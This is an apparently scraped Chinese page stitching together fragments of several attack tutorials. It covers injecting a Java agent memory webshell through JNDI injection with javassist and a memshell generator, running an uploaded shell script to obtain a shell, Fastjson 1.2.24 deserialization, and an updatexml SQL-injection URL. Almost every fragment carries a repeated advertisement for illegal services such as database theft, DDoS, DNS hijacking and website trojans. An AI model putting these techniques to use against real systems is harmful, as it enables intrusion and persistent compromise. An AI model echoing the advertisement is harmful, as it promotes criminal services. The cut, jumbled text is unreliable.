📰 最近消息
测试环境：Windows 10、JDK8u66、SpringBoot 2（暴露任意反序列化和JNDI接口）以使用JNDI注入漏洞向JDK低版本、Windows目标打入Agent内存马为例生成用于注入Agent内存马的类文件首先选用常见的org.apache.tomcat.websocket.server.WsFilter作为宿主类javassist修改其字节码并输出新的class文件（在其方法体前面添加了计算器）ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.getCtClass("org.apache.tomca
和工具放到同一目录，使用工具生成最终要让目标加载的类文件（用于将目标类的旧字节码替换为新字节码）java -jar .\FilelessAgentMemshellGenerator.jar -b 64 -c "org.apache.tomcat.websocket.server.WsFilter" -i false -o "Windows" -p .\WsFilter.class -t false弹出警告，但还是成功生成了所需的类文件接单中，拖库，渗透，破解，提权，改单，爆破，DDOS攻击，Dns劫持，网站挂马，蠕虫病毒技术咨询：@changwaiguang
在此目录找到生成的新class文件接单中，拖库，渗透，破解，提权，改单，爆破，DDOS攻击，Dns劫持，网站挂马，蠕虫病毒技术咨询：@changwaiguang
JNDI恶意服务器可以用ysomap等工具快速部署，这里简单讲讲手工步骤首先需要启动一个RMI服务或者LDAP服务，随便绑定一个远程对象上去接着使用python -m http.server在此目录开启一个Http服务将引用的地址设置为Http服务的URL，如http://localhost:8000/，设置类名和工厂名Reference refObj = new Reference("AgentMemShell","AgentMemShell","http://localhost:8000/");再将引用重绑定给JNDI服务InitialContext initialContext = ne
利用JNDI注入漏洞实现内存马注入启动漏洞环境，代码如下@GetMapping({"/jndi"}) public void jndi(@RequestParam String b) throws Exception { byte[] decodedBytes = Base64.getDecoder().decode(b); String decodedUrl = new String(decodedBytes , StandardCharsets.UTF_8); InitialContext ctx = new InitialContext(); ctx.lookup(decodedUrl)
构造payload执行刚刚上传的/tmp/shell脚本，得到一个shell接单中，拖库，渗透，破解，提权，改单，爆破，DDOS攻击，Dns劫持，网站挂马，蠕虫病毒技术咨询：@changwaiguang
如果出现无法访问…没有那个文件或目录解决办法：先在window主机上按win+r键然后输入services.msc回车接单中，拖库，渗透，破解，提权，改单，爆破，DDOS攻击，Dns劫持，网站挂马，蠕虫病毒技术咨询：@changwaiguang
用户名输入如下payload，密码任意登录两次（登录一次面板有时候会不显示）接单中，拖库，渗透，破解，提权，改单，爆破，DDOS攻击，Dns劫持，网站挂马，蠕虫病毒技术咨询：@changwaiguang
0x02 漏洞描述Fastjson是一个Java库,可以将Java对象转换为JSON格式,当然它也可以将JSON字符串转换为Java对象。 在1.2.24中，fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。接单中，拖库，渗透，破解，提权，改单，爆破，DDOS攻击，Dns劫持，网站挂马，蠕虫病毒技术咨询：@changwaiguang
因为不存在回显，我们这里还是使用updatexml报错注入直接输入报错语句，因为检测到黑名单词语，被拦截http://127.0.0.1/lmxcms1.4/index.php?m=Tags&name=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)#接单中，拖库，渗透，破解，提权，改单，爆破，DDOS攻击，Dns劫持，网站挂马，蠕虫病毒技术咨询：@changwaiguang